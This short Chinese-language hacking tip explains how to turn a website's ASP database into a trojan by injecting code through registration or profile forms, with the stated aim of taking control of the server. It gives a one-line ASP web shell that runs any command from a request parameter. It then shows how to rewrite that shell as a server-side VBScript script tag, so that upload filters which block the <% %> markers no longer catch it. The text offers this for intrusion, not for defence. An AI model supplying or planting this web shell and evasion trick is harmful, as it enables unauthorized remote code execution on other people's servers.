很多时候我们可以通过在注册表单或者用户信息修改表单中插入简短的ASP代码使网站ASP数据库变成为一个ASP木马然后进一步入侵控制服务器
不过在上传代码过程中许多网页程序都不允许包含〈%%〉标记符号的内容的文件上传
这样就有好多SHELL不能上传上去了可以采用下面的方法解决以蓝屏最小ASP木马为例
首先原程序代码是
〈%execute request(l)%〉
我们可以把它的标签换下来
然后改成
<scriptlanguage=VBScript runat=server>execute request(l)</Script>
这样就避开了使用〈%%〉保存为ASP程序同样执行
